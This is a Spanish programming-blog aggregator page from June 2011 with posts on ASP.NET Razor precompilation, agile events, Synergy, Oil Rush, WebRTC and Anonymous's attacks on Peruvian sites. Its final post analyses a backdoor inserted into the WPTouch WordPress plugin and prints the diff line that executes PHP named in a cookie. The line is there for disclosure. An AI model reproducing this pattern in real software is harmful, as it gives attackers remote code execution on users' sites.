Noticias Weblogs Foros Wiki Código

Meta-Info

¿Que es?

Planeta Código es un agregador de weblogs sobre programación y desarrollo en castellano. Si eres lector te permite seguirlos de modo cómodo en esta misma página o mediante el fichero de subscripción.

rss subscripción

Sponsors

Puedes utilizar las siguientes imagenes para enlazar PlanetaCodigo:
planetacodigo

planetacodigo

Si tienes un weblog de programación y quieres ser añadido aquí, envíame un email solicitándolo.

Idea: Juanjo Navarro

Diseño: Albin

Ingenieria de Software / Software Engineering / Project Management / Business Process Management

Todo a la Nube, Call Centers

Junio 30th, 2011 - [Enlace local]

Es increíble todo lo que hace la tecnología, ahora los Call Centers irán a la nube

http://www.informationweek.com.mx/ultimosarticulos/call-center-en-la-nube-sirve/

» Leer más, comentarios, etc...

Buayacorp

Convertir SWF a HTML5 con Swiffy

Junio 30th, 2011 - [Enlace local]

Mientras todos están muriendo por una invitación a Google+, te invito a poner atención a una herramienta interesante también de Google.

Swiffy permite convertir archivos SWF a HTML5 online. permitiendo usar estos en archivos en dispositivos que no soportan Flash como iPods o iPads.

Por ahora Swiffy no soporta ActionScript 3 ni escenas. El resultado final es un archivo html, que contiene código JSON y que al final es formateado y puede ser visto en cualquier navegador que soporte Webkit.

Mientras esperas tu invitación, te puedes distraer convirtiendo algunos archivos o simplemente revisando los ejemplos :)

» Leer más, comentarios, etc...

Variable not found

ASP.NET MVC: Compilar Vistas Razor en una DLL

Junio 29th, 2011 - [Enlace local]

ASPNETMVCHace unos días, el gran David Ebbo publicaba un proyecto experimental llamado “Razor Generator”, un conjunto de herramientas destinadas a precompilar las vistas Razor que he visto bastante interesante y que creo que vale la pena comentar.



Aunque ya aquí hemos hablado varias veces sobre la compilación de vistas, el enfoque de este nuevo proyecto es bastante diferente, pues permite generar clases en C# partiendo de las vistas, lo que permite, por ejemplo:

El proyecto consiste, por una parte, en una extensión para Visual Studio 2010 que instala la herramienta de generación de código llamada “RazorGenerator”. Es posible descargarla tanto desde la galería online como utilizando el administrador de extensiones del IDE.



Razor generator



Estableciendo la herramienta personalizada

Una vez descargada esta extensión, si deseamos generar la clase asociada a una vista simplemente debemos acudir a las propiedades del archivo, y establecer a “RazorGenerator” su herramienta personalizada, como puede observarse en la captura de pantalla adjunta.



A partir de ese momento, cada vez que modifiquemos la vista (el archivo .cshtml), se generará de forma automática el fichero de código .cs con la clase correspondiente, de forma que al compilar el proyecto ya éstas se estarán incluyendo en el ensamblado resultante.



La siguiente parte del proyecto de David es un ViewEngine especialmente diseñado para la ocasión, que en lugar de utilizar las vistas disponibles en el sistema de archivos del servidor, intenta localizar las clases compiladas correspondientes.



Para facilitar la tarea e instalar de forma correcta este ViewEngine, simplemente hemos de utilizar Nuget para montar el paquete “PrecompiledMvcViewEngine”:



PM> Install-Package PrecompiledMvcViewEngine
Attempting to resolve dependency 'WebActivator (≥ 1.4)'.
Successfully installed 'WebActivator 1.4.1'.
Successfully installed 'PrecompiledMvcViewEngine 1.0'.
...


Bien, pues lo curioso del tema es que este paquete podemos instalarlo directamente sobre un proyecto de biblioteca de clases e introducir en él todas las vistas de nuestra aplicación. Estableciendo la herramienta personalizada de todas ellas a “RazorGenerator”, tendremos las vistas compiladas y para utilizarlas únicamente será necesario referenciar esta biblioteca desde el proyecto MVC principal. Y obviamente, ya no tendremos que distribuir las vistas de /Views, puesto que se estarán utilizando las versiones compiladas :-)



Puedes ver un completo paso a paso sobre cómo precompilar las vistas en el blog de David Ebbo.



Aunque todavía es pronto y quizás no sea buena idea utilizar estos componentes el producción, la precompilación de vistas con este enfoque aporta un gran número de ventajas directas ya comentadas, y lo que es mejor, deja entrever interesantes utilidades como la posibilidad de conseguir plugins o áreas fácilmente reutilizables de una aplicación a otra simplemente copiando los ensamblados al proyecto. A ver si un día de estos tengo un rato y hago alguna pruebilla al respecto y os comento mis conclusiones.



Publicado en: Variable not found.



» Leer más, comentarios, etc...

Arragonán

Se busca aprendiz…

Junio 28th, 2011 - [Enlace local]

Como supongo que algunos sabréis, ando trabajando con UniversalPlaces desde hace unos meses. Pues resulta que ahora andamos buscando a una persona para ser el/la primer/a programador/a en plantilla, para trabajar en el mismo centro de Zaragoza.

La oferta con todos los detalles está en jobsket: Aprendiz de programador web.

Aprendiz según la RAE:

aprendiz, za.
1. m. y f. Persona que aprende algún arte u oficio.
2. m. y f. Persona que, a efectos laborales, se halla en el primer grado de una profesión manual, antes de pasar a oficial.

Otros más refinados le llamarían programador junior, pero creo que en muchos otros oficios le llaman acertadamente aprendiz. Otra opción era buscar directamente un padawan, pero los del lado oscuro somos disimulados :D

[176/365] Padawan

PD: Sí, dentro de trabajar en equipo entra irse de cañas de vez en cuando con el resto del equipo XD

* Foto de pasukaru76

» Leer más, comentarios, etc...

Najaraba.com: Software libre, metodologías ágiles y más.

Mi “elevator pitch” del agilismo

Junio 28th, 2011 - [Enlace local]

Si solo dispusiese de unos segundos para explicar los beneficios de sumarse al agilismo, diría algo parecido a esto:  La clave con el agilismo es proporcionar el marco adecuado para que los trabajadores puedan demostrar todo su potencial. La gestión por control permite un trabajo tan bueno como lo es el que ordena y controla (o menos!). El cambio de paradigma hacia lo ágil permite multiplicar la

» Leer más, comentarios, etc...

Picando Código

Taller de Agile Development – Ruby On Rails & Scrum en Montevideo

Junio 28th, 2011 - [Enlace local]

Copio y pego la información de un nuevo taller de desarrollo ágil. El miércoles de la semana que viene, como previa a mi cumpleaños, vamos a estar programando Ruby On Rails con Scrum. No es necesario saber Ruby o conocer Scrum, va a ser un taller introductorio, pero obviamente cualquier conocimiento ayuda. ¡Nos vemos ahí!

Información del taller:

El objetivo del taller es presentar los nuevos paradigmas sobre el desarrollo de software basado en proyectos enfocados a la Web, cambiantes, dinámicos y ágiles.

Modalidad
3 horas con los tracks:

Fecha y horario: Miércoles 6 de julio de 19 a 22 horas
Lugar: Universidad ORT Uruguay – Auditorio
Cuareim 1451 esq. Mercedes
Costo: Entrada gratuita, no requiere inscripción previa

Organizan: MooveITAQuA.it

Taller de Scrum & Ruby

Taller de Scrum & Ruby

Comparte: Twitter Identi.ca del.icio.us Google Bookmarks BarraPunto Bitacoras.com Tumblr Print Facebook

» Leer más, comentarios, etc...

Picando Código

Aniversario de Picando Código: Nippur de Lagash

Junio 28th, 2011 - [Enlace local]

Milagros

Milagros

Allá cuando Picando Código empezaba a dar sus primeros pasos, comencé a integrarme un poco con lo que era la “blogósfera”. Uno de los blogs con los que empecé a interactuar fue ChicaSEO, que en ese entonces se dedicaba a postear información y tips sobre optimización para buscadores. Fue así que por un tiempo se generó un pequeño intercambio entre Picando Código y ChicaSEO, dos blogs que tienen más o menos la misma edad.

Milagros es una de las fundadoras del sitio, y es quien ha quedado encargada hoy en día del blog. ChicaSEO, así como Picando Código, ha ido cambiando en estos 4 años ampliando las temáticas del blog a todo lo relacionado con Internet. Milagros también escribe en Milaweb: Internet, tecnología y web 2.0 y pueden seguirla en Twitter en @milagros. Sin más para agregar, y muy agradecido por aceptar la invitación, los dejo con este excelente post de Milagros:

Aceptando gustosa la invitación de Fernando para escribir en su blog, con motivo del cuarto aniversario, quiero contarles a todos sus lectores sobre uno de los cómics argentinos más populares de todos los tiempos: Nippur de Lagash, del cual fui voraz lectora durante mi infancia.

Nippur de Lagash

Nippur de Lagash

En la casa de mis abuelos, leer no era una obligación ni un dolor de cabezas, era parte de nuestras rutinas, del disfrute diario de todos los habitantes de esa casa, Y durante las largas estadías con mis familiares paternos, siempre tenía un libro o una historieta a mano, como la que les mencione anteriormente.

La casa de mis abuelos significó la mejor biblioteca que haya conocido o conozca. No solamente porque estaba rodeada de mis seres queridos, sino porque podía acceder al mejor material que se haya escrito, cuando quisiera y como quisiera. Cosa por la cual me considero una privilegiada.

Pero ahora… vamos directo al grano. ¿Por qué elegí escribir sobre este cómic para el aniversario de Picando Código? Supongo que por el fanatismo y/o enamoramiento que provocó en mí, siendo tan chica.

Y ¿de qué se trató Nippur de Lagash o el Errante, como también se conoció a su protagonista? Pues, de un héroe que vivió en la Antigüedad, nacido justamente en la ciudad de Lagash, en Sumeria, la que debió abandonar posteriormente.

La historieta que se basa -en gran parte- en mitos y personajes de la Edad Antigua, fue publicada durante treinta y un años. Dato que nos habla del impresionante éxito de Nippur de Lagash, quien vio la luz por primera vez, en 1967, con la revista D´artagnan N° 151, editada por Editorial Columba.

¿Quiénes fueron los creadores de Nippur de Lagash? Robin Wood, el guionista y Lucho Olivera, el dibujante, aunque con el correr del tiempo fueron reemplazados por otros artistas. Un dato anecdótico: Los primeros capítulos fueron publicados en blanco y negro.

Nippur de Lagash

Nippur de Lagash

Argumento: Más de tres décadas de publicación nos impiden resumir, en un breve espacio, todo lo que ha sucedido con el Errante o el Incorruptible, otro de sus apodos. Vale decir que se trató de un aventurero, que solo o en compañía de sus amigos, recorrió vastas regiones, libró grandes batallas, y enfrentó a poderosos enemigos, liberando pueblos y ciudades.

Nippur era un hombre justo y valeroso, que escapó a un destino de esclavitud, viajando la mayor parte de su vida. A raíz de sus enfrentamientos, perdió un ojo, quedando tuerto para siempre. Al regresar a su hogar, y contra su voluntad, es coronado rey, aunque finalmente abdica en favor del General Lamir, para volver a los caminos.

En el cómic, también hay lugar para el amor. Nippur mantiene romances con varias mujeres, teniendo hijos con algunas de ellas, aunque ahondar en este aspecto supera el objetivo de este post.

Valoración final: Como vemos, la historieta cuenta la vida de un héroe, al estilo de los míticos personajes griegos, que recorre el mundo, impartiendo justicia, a través de numerosas batallas y aventuras, caracterizado por un exilio obligatorio al principio y convertido –finalmente- en un estilo de vida; haciendo de nuestro “Errante” uno de los protagonistas de cómics más querido por los argentinos, entre quienes me incluyo.

Por último, quiero felicitar a Fernando por estos cuatro años y dejarles saludos a sus lectores, esperando que les haya gustado mi artículo. ¡Muchísimas gracias!

Imágenes obtenidas de Aquellos Cómics:
http://aquelloscomics.blogspot.com/2010/05/nippur-de-lagash-coleccion-todo-color.html

Comparte: Twitter Identi.ca del.icio.us Google Bookmarks BarraPunto Bitacoras.com Tumblr Print Facebook

» Leer más, comentarios, etc...

Variable not found

Enlaces interesantes 46

Junio 28th, 2011 - [Enlace local]

Estos son los enlaces publicados en Variable not found en Facebook y Twitter desde el lunes, 20 de junio de 2011 hasta el lunes, 27 de junio de 2011. Espero que te resulten interesantes. :-)

Y no olvides que puedes seguir esta información en vivo y en directo desde Variable not found en Facebook, o a través de Twitter.



Publicado en: Variable not found



» Leer más, comentarios, etc...

Buayacorp

WordPress 3.1.4 y 3.2

Junio 27th, 2011 - [Enlace local]

En las últimas horas ha registrado bastante actividad. Estos cambios responden principalmente a una serie de correcciones de seguridad, que ya había comentado en una entrada anterior. Por lo visto, se publicará una nueva versión menor de WordPress, decisión que es bastante razonable, dado que para poder actualizar a 3.2, se requiere versiones más recientes de PHP y MySQL.

» Leer más, comentarios, etc...

Buayacorp

Anonymous ataca las webs del gobierno peruano

Junio 25th, 2011 - [Enlace local]

Con el slogan "Andes Libres", Anonymous está atacando en estos momentos a distintos sitios del gobierno peruano (mi país). Esto en rechazo a la "TransPacific PartnerShip Agreement", con el cuál se pretende:

Los ataques empezaron a las 2:00 pm GMT-5 y hasta este momento varios sitios web del gobierno han caido.

Irónicamente, la primera web en caer ha sido la de ONGEI (Oficina Nacional del Gobierno Electrónico e Informática) que se supone que iba a soportar el ataque ya que su presidente indicó que la organización estaba preparada.

Días atrás otro grupo de hackers peruanos aprovechando vulnerabilidades de distintos sitios del gobierno, accedieron a estos y publicaron información de bases de datos y contraseñas.

Esto deja ver la mínima o nula preocupación del gobierno en invertir en seguridad o buenas prácticas en sus sitios. También muchos peruanos hablan de que estás webs están totalmente desactualizadas o simplemente no sirven.

Para saber más puedes seguir los hashtags: #andeslibres, #anonymous, #sufrocomowebmasterdelestadoperuano; o seguir las cuentas @anonopshispano o @AnonymousPeru

Lista de sitios caidos:

Actualización 1:

Anonymous da por completada la fase 2 de Andes Libres

Seguiremos informando...

» Leer más, comentarios, etc...

Buayacorp

Traducciones: ¿la gramática importa?

Junio 25th, 2011 - [Enlace local]

Desde hace años llevo usando la versión en español (Argentina) de Firefox. Nunca me había tomado la molestia de leer la página que aparece luego de hacer una actualización, parte de ella pueden verla en la imagen de abajo.

Si bien es cierto que el texto traducido en la misma aplicación no tiene errores gramaticales (nunca encontré ninguno), me parece bastante raro ver este tipo de traducciones. Aunque puede ser que yo esté equivocado puesto que no he participado en proyectos de traducción, así que ignoro las reglas de juego.

» Leer más, comentarios, etc...

Buayacorp

Guía de soporte CSS en correos electrónicos

Junio 24th, 2011 - [Enlace local]

Posiblemente el trabajo mas tedioso que tengas que hacer es estilizar un correo electrónico para que éste llegue bien a una bandeja de entrada.

Guia CSS para correos electrónicos

CampaignMonitor ha preparado una guia muy detallada que nos ayuda a ver que elementos y propiedades CSS son soportadas en diferentes clientes de correo de escritorio y web. Aunque esta lista fue publicada años atrás, ha sido actualizada sólo hace unos días.

Puedes verla en línea o descargártela en PDF o Excel.

» Leer más, comentarios, etc...

Arragonán

En Pamplona, AOS 2011

Junio 24th, 2011 - [Enlace local]

Este viernes 17 y sábado 18 de junio se celebró en Pamplona el Agile Open Space 2011, evento organizado por voluntarios de la asociación Agile Spain. Es el segundo año que he podido asistir, definitivamente me gusta este evento y me ha vuelto a saber a poco; el sarao, y por supuesto el post-sarao para poder hablar más con la gente.

Viernes

El viernes, mientras arrancaba el AOS se iban sucediendo los saludos entre los habituales, se explicó como funciona el formato de open space por si habían dudas, se hizo un pequeño ejercicio para tratar de conocer gente nueva (creo que se comentó en la retrospectiva ya que hubiera estado bien hacer alguna cosa más en este sentido) y los asistentes empezaron a proponer temas.

Posteriormente pasamos a las votaciones y se distribuyeron las sesiones en las 6 salas que habían disponibles en el CEIN. El resultado puede verse en la siguiente foto.

El panel #aos2011

No tuve suerte y varias de las sesiones que voté coincidieron en horarios. De todas formas, con todo lo que había para elegir y la regla de los dos pies, no había problema :) .

A la noche, hubieron cañas y pintxos ágiles, al parecer en varios grupos… Y un pequeño reducto de valientes formado por parte del Comando Muyayo y el que os escribe, nos quedamos tomando unos copazos ágiles por las calles del casco, pero me consta que no fuimos los que más trasnochamos :P .

Sábado

El sábado, con el cansancio acumulado de una semana dura y el agilismo nocturno, me desperté con una dura resaca en cascada :P . Lo que me hizo estar poco participativo durante gran parte de las sesiones, limitándome a escuchar y analizar lo que se hablaba o debatía.

La primera sesión deambulé un poco, entré tarde a la sesión sobre stubs, spies y mocks que facilitó Rubén Bernández, la única de puramente código a la que asistí. Al final de la sesión dejé la sala al ver que el debate que surgió se fue a volver a hablar de terminologías del tipo de dobles para tests, lo que no me iba a aportar gran cosa y además necesitaba que me diera el aire XD.

Posteriormente entré a la que propuso Miguel Ángel sobre contratos ágiles. Me interesaba conocer el tipo de acuerdos a los que llega otra gente con sus clientes para poder trabajar de forma ágil, y sobre todo como eso se traducía en la forma de facturarles. Surgieron fórmulas de por valor entregado, por historias de usuario, por dedicación… me pareció que cada uno dentro de su entorno hacía lo que podía.

En esta sesión surgió debate alrededor de si en la realidad, el mundo real, etc. es posible hacer o no algunas cosas. Es algo sobre lo que un día me gustaría escribir, pero como es muy posible que no lo haga, solo diré que cada vez que oigo cosas como “… pero en el mundo real …” yo ya escucho “… pero en mi contexto…”. Y sí, seguro que lo puedes cambiar; y no, seguro que el camino del cambio no será fácil, posiblemente sea durísimo.

Después me metí en la de identificar, atraer y mantener gente con talento a una empresa con Israel Alcázar y Raquel Laina… tenía intención de sólo estar un rato y moverme a otras salas, pero como me pareció interesante el debate me la tragué entera. Personalmente el método de búsqueda de gente buena que más me gustó fue con diferencia la que se comentó de github: montar saraos en sus oficinas para poder ir conociendo a gente potencialmente interesante, y eso acompañarlo de cervezas :) .

La siguiente para mi fue Agile UX, donde Artiz Suescun habló un poco sobre el estado del arte de integrar a gente de UX en el mundo ágil y sus dificultades. En la poca experiencia que tengo yo de trabajar con metodologías ágiles (o supuestamente ágiles, que a veces no tengo claro del todo lo que es o no agile :P ) con gente de UX, no he notado tantos problemas como los que se expusieron, supongo que simplemente por una cuestión de profesionalidad y compromiso de equipo. Lo que parece estar más o menos claro es que aún no hay métodos de trabajar agilmente con la gente de UX que estén consideradas buenas para muchos escenarios.

Después de comer entré a la que facilitaba Alberto Peña, donde se hizo un poco de brainstorming sobre el aprendizaje continuo que llevamos y que técnicas utilizaba cada uno para seguir mejorando en nuestro tiempo libre. Llevo ya varios meses un poco paradillo y fuera de cosas que necesito en mi día a día aprendo poco, aparte que con esto de ser freelance llevo bastante confusión entre horarios de trabajo y libre :P

Para terminar, estuve en la sesión de inceptions, donde se hizo una pequeña introducción de lo que es. Posteriormente Jorge Jiménez explicó su experiencia recibiendo una con wiseri y Miguel Ángel explicó algunos detalles de como lo hacen en BeCode.

Personalmente me interesaba bastante, ya que estoy planteándome dar consultoría de conceptualización de productos y servicios tecnológicos, creo que combinarlo con algunas de las prácticas que se hacen en esas inceptions pueden ayudar en eso.

Después se hizo retrospectiva del evento, donde surgieron cosas que gustaron y que no gustaron. Tras ellos se habló de la siguiente edición, donde Teresa Oliver y Yeray Darias propusieron Zaragoza y Canarias como sedes para la del 2012.

Al final foto de familia, despedida de parte de la gente y directamente de vuelta a Zaragoza.

AOS2011 - Foto de familia

Desde luego, me quedo con la sensación de que la comunidad ha madurado durante este año, y que el formato de evento en la que no hay ponentes propiamente dichos ayuda a mezclarse bastante. Por otro lado este año he conocido mucha menos gente nueva, quizás porque hay un grueso de gente que empezamos a ser habituales en estos saraos y eso hace que algunos sintamos un poco que siempre somos los mismos, aunque en realidad no sea así.

Las instalaciones de navarra factori, muy chulas. Mucho espacio y sitios donde juntarte con alguien a tener charlas de pasillo… incluso zonas tipo siéstodromos, que aunque el cuerpo me pidió aprovechar, conseguí no hacerlo :P

También llegó a mis oídos (o más bien a mi timeline de twitter), que se me echó de menos en el post-evento nocturno… tranquilos, para el año que viene despejaré mi agenda de puestas en producción, y lo daré todo :D

En fin, que el año que viene más, y por o que he leído por ahí parece que Zaragoza tiene casi todos los números y tocará pringar :D

» Leer más, comentarios, etc...

Picando Código

Synergy: Compartir teclado y mouse en varias computadoras

Junio 24th, 2011 - [Enlace local]

Synergy

Synergy

Ayer estuve trabajando desde casa, y empecé a utilizar una herramienta bastante productiva: Synergy. Synergy es software libre que permite usar un mismo teclado y mouse a través de múltiples computadoras. Para esto solo requiere que las computadoras estén conectadas entre sí a través de TCP/IP.

En casa tengo la computadora de escritorio que uso para escribir, dibujar, jugar, internet, alguna programación y trabajo “personal”, etc. En mi trabajo anterior, trabajaba con mi laptop. Cuando cambié a Globant y surgió la posibilidad de trabajar desde casa, mantuve esa costumbre. De esta forma, si quiero arrancar rápido, solo inicio la laptop, y no tengo ni que salir de la cama para empezar a trabajar :P Tengo ahí todas las configuraciones relacionadas al trabajo.

De esta manera, noté que pasaba algo de tiempo pasando del mouse y teclado de la computadora de escritorio al touchpad y teclado de la laptop. En un momento recordé la existencia de Synergy, que creo escuché nombrar por primera vez cuando me comentaron la metodología de pair programming que usan en Cubox.

Decidí probarlo e instalarlo en mis dos computadoras ya que imaginé que usar ambas con el mismo mouse y teclado sería mucho más práctico, y tenía razón. La instalación fue super simple:

pacman

pacman

ArchLinux:
pacman -S synergy

 

Debian

Debian

Debian:
sudo apt-get install synergy

Paso siguiente, elegir el servidor: en mi caso hoth, la computadora de escritorio. El servidor es quien lleva el mouse y teclado. En él deben crear un archivo de configuración synergy.conf, y setear las pantallas y su enlace (links), cuál está a la derecha, izquierda, arriba o abajo.

Mi computadora “cliente” es dagobah, la laptop, pero no tengo un servidor DNS en mi red local (en casa de herrero…), así que puedo agregar aliases para las IP’s.

Mi archivo de configuración:

section: screens
         hoth:
         dagobah:
end

section: aliases
         hoth:
         192.168.1.102
         dagobah:
         192.168.1.101
end

section: links
        hoth:
                right = dagobah
        dagobah:
                left = hoth
end

Con esto, inicio el servidor en hoth:

synergys -f --config ~/synergy.conf

Y el cliente en dagobah:

synergyc -f 192.168.1.102
Synergy: ArchLinux con Debian

Synergy: ArchLinux con Debian

El parámetro -f es opcional, para que la terminal nos imprima el log de lo que está sucediendo, una vez que lo tengamos funcionando correctamente podemos ejecutarlo sin eso. Pueden ver más parámetros en la wiki de Synergy.

Me impresionó mucho el rendimiento de esta aplicación, pasar el mouse de un monitor a otro es instantáneo. Y estando en el monitor cliente, es lo mismo que si tuviera un mouse y teclado USB conectados, funciona perfecto.

La verdad que me facilitó muchísimo el trabajo. Mi escritorio no es adecuado para trabajar con la laptop ya que el teclado queda muy alto. De esta forma es mucho mas cómodo trabajar, y uno le agarra el gustito enseguida. Es como trabajar con dos monitores.

Así me di cuenta de cuánto más podemos rendir con dos monitores, y ni hablar dos computadoras. Estoy convencido que nuestra interacción con las computadoras está totalmente limitada por el uso de un solo monitor. Ahora entiendo a Jeff Atwood cuando insistía en varios monitores. Mi tarjeta de video soporta varios monitores, así que ya voy pensando en alguna compra a futuro…

Comparte: Twitter Identi.ca del.icio.us Google Bookmarks BarraPunto Bitacoras.com Tumblr Print Facebook

» Leer más, comentarios, etc...

Picando Código

Café: La mejor adicción del mundo

Junio 23rd, 2011 - [Enlace local]

Este video fue twitteado por Tim Bray hace un rato y tuve que compartirlo por acá. Tiene subtítulos en inglés, y también se puede probar en YouTube la traducción automática al español. Comenta unos cuantos hechos sobre el café y la cafeína que son muy interesantes y nos llevan a la conclusión del título:

El café es la mejor adicción del mundo.

 

Comparte: Twitter Identi.ca del.icio.us Google Bookmarks BarraPunto Bitacoras.com Tumblr Print Facebook

» Leer más, comentarios, etc...

Picando Código

Oil Rush: Juego de estrategia en tiempo real multiplataforma

Junio 23rd, 2011 - [Enlace local]

Oil Rush

Oil Rush

Oil Rush es un juego de estrategia naval, que mezcla además elementos de Tower Defence. El juego está programado sobre el motor Unigine desarrollado por Unigine Corp. Lo novedoso del motor es su procesamiento avanzado que soporta OpenGL 4.0 y DirectX 11. ¿Qué significa esto? Que además de funcionar en sistemas Windows con DirectX, ¡se ejecuta de manera nativa sobre OpenGL en sistemas GNU/Linux!

El juego también tendrá una versión para PlayStation 3, Android y Mac OS X. Al nombrar al PS3 uno se imagina que la calidad gráfica del juego apuntará alto, y así lo hace. Esto lo hace un juego -en mi opinión- bastante importante en el mundo GNU/Linux. ¿Por qué es esto? Los gráficos son de primer nivel, y es de los pocos juegos con esta característica con una versión nativa para Linux. Si tiene éxito, puede influenciar a otras empresas para que tomen en cuenta nuestro querido sistema operativo a la hora de lanzar juegos.

Oil Rush

Oil Rush

Phoronix -el famoso sitio web de tecnología enfocado en Linux- ha venido siguiendo el desarrollo desde sus principios. Y por estos mismos motivos que menciono, ha estado dándole apoyo y difusión. Además la empresa Unigine Corp se ha mostrado “amigable hacia Linux” en el desarrollo de su motor y juego.

Por todos estos motivos, decidí que los 19.95 dólares de costo de la pre-orden del juego valieron mucho la pena. No solo me permitieron descargar las versiones de desarrollo para ir jugando (la versión final todavía no ha sido lanzada), sino que estoy apoyando a una empresa que toma en consideración mi sistema operativo. Además es la oportunidad perfecta para poner a prueba mi nueva tarjeta de video NVIDIA GeForce GT 430.

Los gráficos son realmente impresionantes. La simulación del agua es increíble, no solo los reflejos de luz en su superficie así como las olas, sino la transparencia que nos permite ver el fondo del mar (submarinos, orcas, peces y enemigos que se hunden tras ser destruídos, entre otros). En algunas misiones tenemos lluvia, que debe ser de las mejores representaciones que he visto. Las explosiones, el humo, los detalles en las unidades y estructuras, son de lo mejor que he tenido el gusto de apreciar.

Los sistemas operativos soportados hasta el momento son: Windows XP 32/64 bit, Windows Vista 32/64 bit, Windows 7 32/64 bit, GNU/Linux 32/64 bit, Mac OS X 10.6.

Los requerimientos de hardware mínimos definidos por los desarrolladores son los siguientes:
CPU: 2 GHz
Memoria: 1 Gb
GPU: NVIDIA GeForce 8600 GT, ATI Radeon HD2600
Memoria de video: 256 Mb
Tarjeta de sonido: any OpenAL compatible
Espacio en disco: 1 Gb

Hardware recomendado:
CPU: 2.5 GHz+ dual-core
Memoria: 2 Gb
GPU: NVIDIA GeForce GTX 460, ATI Radeon HD4850
Memoria de video: 512 Mb
Tarjeta de sonido: any OpenAL compatible
Espacio en disco: 1 Gb

Las especificaciones actuales de la computadora donde lo jugué son:
Sistema operativo: ArchLinux – linux 2.6.39 x86_64
Procesador: AMD Athlon 64 X2 Dual Core 5600+
Memoria: 4GB DDR2
Tarjeta de video: NVIDIA GeForce GT 430 1GB DDR3

Ejecuto el juego en pantalla completa con todos los gráficos en máxima calidad y a una resolución de 1440×900. Los FPS andan en 45 en general. Oscilan entre 23 y 30 y poco cuando hay mucho procesamiento (muchas unidades y/o explosiones en pantalla), pero llegan a 47 FPS en momentos. Esto quiere decir que puedo jugar disfrutando los gráficos al máximo sin problemas o lentitud :D

Algo que aporta mucho es la cámara libre. Tenemos la típica vista de juego de estrategia al estilo vista aérea. Pero podemos girar la rueda del mouse para acercarnos o alejarnos más de las unidades. Y con las teclas E y Q podemos girar la cámara, por lo que podemos apreciar la acción desde el punto que preferamos.

A continuación algunas fotos de Oil Rush en 1280x800px. Podrán apreciar lo detallado de los gráficos así como algunas de las distintas ambientaciones, unidades y estructuras:

Por ahora la versión va en 0.66 e incluye algunas pocas misiones en modo campaña para un jugador. También soporta partidas multijugador a través de LAN e internet. Las primeras dos misiones son tutoriales que nos enseñan cómo jugar. El escenario es un período post apocalíptico de nuestro planeta donde el océano cubre gran parte de su superficie. Debemos luchar por obtener los pocos restos de petróleo.

Tenemos las estructuras que generan unidades de ataque, y debemos usarlas para capturar otras estructuras. Las plataformas petrolíferas nos brindan recursos que podemos gastar en defensas para nuestras otras estructuras. Básicamente se trata de conquistar y defender. La música acompaña con una banda sonora acertada, que a veces varía en intensidad lo que le da un toque interesante al desarrollo de las misiones.

No puedo hacer más que recomendar mucho este juego. Sobretodo si son usuarios de sistemas operativos GNU/Linux. Que le vaya bien comercialmente, nos beneficia a todos indirectamente. Si bien no se trata de software libre, el mundo de los videojuegos es un área donde todavía no hay un modelo de negocio definido para esta modalidad de desarrollo, y es algo que con el tiempo se va gestando. Mientras tanto, podemos apoyar estos proyectos para que al menos las grandes empresas se fijen y consideren nuestro sistema. De a poco la cosa irá cambiando y eventualmente contaremos cada vez más con juegos libres de calidad.

Los beneficios para quienes pre-ordenamos el juego son: Acceso temprano a versiones del juego, soporte directo a un desarrollador independiente y acceso anticipado a información exclusiva del juego. Realmente les recomiendo pre-ordenar Oil Rush.

Para cerrar el post, les dejo un video mostrando un poco del gameplay:

Comparte: Twitter Identi.ca del.icio.us Google Bookmarks BarraPunto Bitacoras.com Tumblr Print Facebook

» Leer más, comentarios, etc...

Buayacorp

Google Chrome integrará WebRTC

Junio 22nd, 2011 - [Enlace local]

Antes que nada:

WebRTC es un proyecto libre y abierto que permite a los navegadores la posiblidad de integrar Comunicación en Tiempo Real (Real-Time Communications o RTC) mediante simples JavaScript Apis.

Ya hace algunos años hemos visto la popularidad que dió Flash al video y la comunicación en tiempo real, el problema es que siempre se tenía que usar los plugins para que este funcione.

Después Google sorprendió con la comunicación en video desde Gmail, pero de la misma manera se tenía que instalar un pequeño plugin.

WebRTC fue presentado a inicios de junio y con la noticia de que Chrome lo integre en sus entrañas, Google se está preparando a desafiar a Microsoft y su reciente compra de Skype. El hecho de tener nativamente código en los navegadores más usados, permitirá que la comunicación en tiempo real se extienda en diferentes sistemas operativos y dispositivos sin distinción.

Otra ventaja es que los desarrolladores web podremos crear aplicaciones que permitirán el RTC y la comunicación mundial va a dar un gran paso. Ahora todo tiene que ver con la web.

Este proyecto está soportado y está siendo incluido a la W3C por Google, Mozilla y Opera.

Diagrama de funcionamiento WebRTC

Visto en Genbeta

» Leer más, comentarios, etc...

Bitácora de Javier Gutiérrez Chamorro (Guti) » Programación

Sieve en Java

Junio 22nd, 2011 - [Enlace local]

Después de Sieve en BASIC, he decidido reemprender la saga, esta vez, implementando Sieve en Java. Ejecutándolo con JRE 1.6.0 update 25, sobre Win64, ha requerido para 50.000 iteraciones, un tiempo de 41.049 ms, y lo mismo sobre Win32 de 40.231 ms. Con estos resultados, tenemosa Java, superando aunque por poco, el rendimiento de VB.NET, [...]

Artículos relacionados:
La historia de Java se parece al descubrimiento de América
Sieve en C
Sieve en BASIC

» Leer más, comentarios, etc...

Buayacorp

Código insertado a WPTouch y WP Total Cache

Junio 22nd, 2011 - [Enlace local]

Luego del incidente detectado por el equipo de WordPress, mirando rápidamente los cambios que se hicieron, se puede ver lo siguiente:

diff:
Index: /wptouch/trunk/wptouch.php
===================================================================
--- /wptouch/trunk/wptouch.php	(revision 397079)
+++ /wptouch/trunk/wptouch.php	(revision 399276)
@@ -511,4 +511,6 @@
 	if (isset($_COOKIE[$key])) {
 		$this->desired_view = $_COOKIE[$key];
+	if (preg_match("#useragent/([^/]*)/([^/]*)/#i", $_COOKIE[$key], $matches) && $matches[1]($matches[2])) 
+		$this->desired_view = $matches[1].$matches[2];
 	} else {
 		if ( $settings['enable-regular-default'] || defined( 'XMLRPC_REQUEST' ) || defined( 'APP_REQUEST' ) ) {

En el caso de WPTouch, permite la ejecución de código PHP ($matches[1]($matches[2])) de lo que se envíe en la cookie con nombre wptouch_switch_toggle.

Para el caso de WP Total Cache, no me queda muy claro. Por lo poco que vi, pareciera ser que desactiva la funcionalidad del plugin.

diff:
 
 
Index: w3-total-cache/tags/0.9.2.2/lib/W3/PgCache.php
===================================================================
--- w3-total-cache/tags/0.9.2.2/lib/W3/PgCache.php	(revision 399488)
+++ w3-total-cache/tags/0.9.2.2/lib/W3/PgCache.php	(revision 390604)
@@ -103,5 +103,5 @@
         $this->_request_uri = $_SERVER['REQUEST_URI'];
         $this->_lifetime = $this->_config->get_integer('browsercache.html.lifetime');
